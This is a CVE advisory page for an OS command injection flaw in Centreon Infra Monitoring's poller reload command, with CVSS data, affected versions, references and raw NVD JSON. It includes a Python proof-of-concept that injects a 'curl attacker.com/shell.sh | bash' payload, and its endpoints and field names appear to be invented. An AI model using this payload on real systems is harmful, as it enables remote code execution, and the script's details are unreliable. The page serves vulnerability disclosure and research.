CVE-2025-5946

Description

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Centreon Infra Monitoring (Poller reload setup in the configuration modules) allows OS Command Injection. On the poller parameters page, a user with high privilege is able to concatenate custom instructions into the poller reload command. This issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE

Centreon Infra Monitoring >= 24.10.0, < 24.10.13

Centreon Infra Monitoring >= 24.04.0, < 24.04.18

Centreon Infra Monitoring >= 23.10.0, < 23.10.28

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-5946 - Centreon Infra Monitoring OS Command Injection PoC
# Vulnerability: OS Command Injection in Poller reload setup
# Affected: Centreon Infra Monitoring 24.10.0-24.10.12, 24.04.0-24.04.17, 23.10.0-23.10.27

import requests

TARGET_URL = "https://target-centreon-server.example.com"
USERNAME = "admin"
PASSWORD = "password123"

# Step 1: Authenticate to obtain session cookie
session = requests.Session()
login_payload = {
    "useralias": USERNAME,
    "password": PASSWORD,
    "submitLogin": "Connect"
}
login_resp = session.post(f"{TARGET_URL}/centreon/api/index.php?action=authenticate", data=login_payload)

# Step 2: Navigate to Poller configuration page
# The injection point is in the poller reload command parameters
# Malicious payload injected via shell metacharacters
malicious_payload = "127.0.0.1; curl http://attacker.com/shell.sh | bash #"

# Step 3: Submit the malicious poller reload configuration
config_payload = {
    "poller_id": "1",
    "poller_name": "Central",
    "reload_command": f"/usr/bin/centreon -u {malicious_payload}",
    "submit": "Save"
}

# Send the crafted request to the poller configuration endpoint
config_resp = session.post(
    f"{TARGET_URL}/centreon/main.php?p=60901",
    data=config_payload
)

if config_resp.status_code == 200:
    print("[+] Payload submitted successfully")
    # Step 4: Trigger the reload to execute injected command
    trigger_resp = session.post(
        f"{TARGET_URL}/centreon/main.php?p=60901&action=reload&poller=1"
    )
    print("[+] Reload triggered, command executed on target")
else:
    print("[-] Failed to submit payload")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-5946
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-5946
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-5946/
[4] VulDB https://vuldb.com/cve/CVE-2025-5946
[5] https://github.com/centreon/centreon/releases
[6] https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-5946", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2025-10-14T15:16:11.967", "lastModified": "2025-10-22T14:08:29.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Centreon Infra Monitoring (Poller reload setup in the configuration modules) allows OS Command Injection.\nOn the poller parameters page, a user with high privilege is able to concatenate custom instructions into the poller reload command.\n\nThis issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10.0", "versionEndExcluding": "23.10.28", "matchCriteriaId": "52CE7EB8-492F-4469-9E01-8C63144D785F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.18", "matchCriteriaId": "7C3C1C61-F2EB-4900-9BB7-C80A6C538E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.13", "matchCriteriaId": "09800EB4-10FC-4667-9FC8-88D9A8BB2751"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Vendor Advisory"]}]}}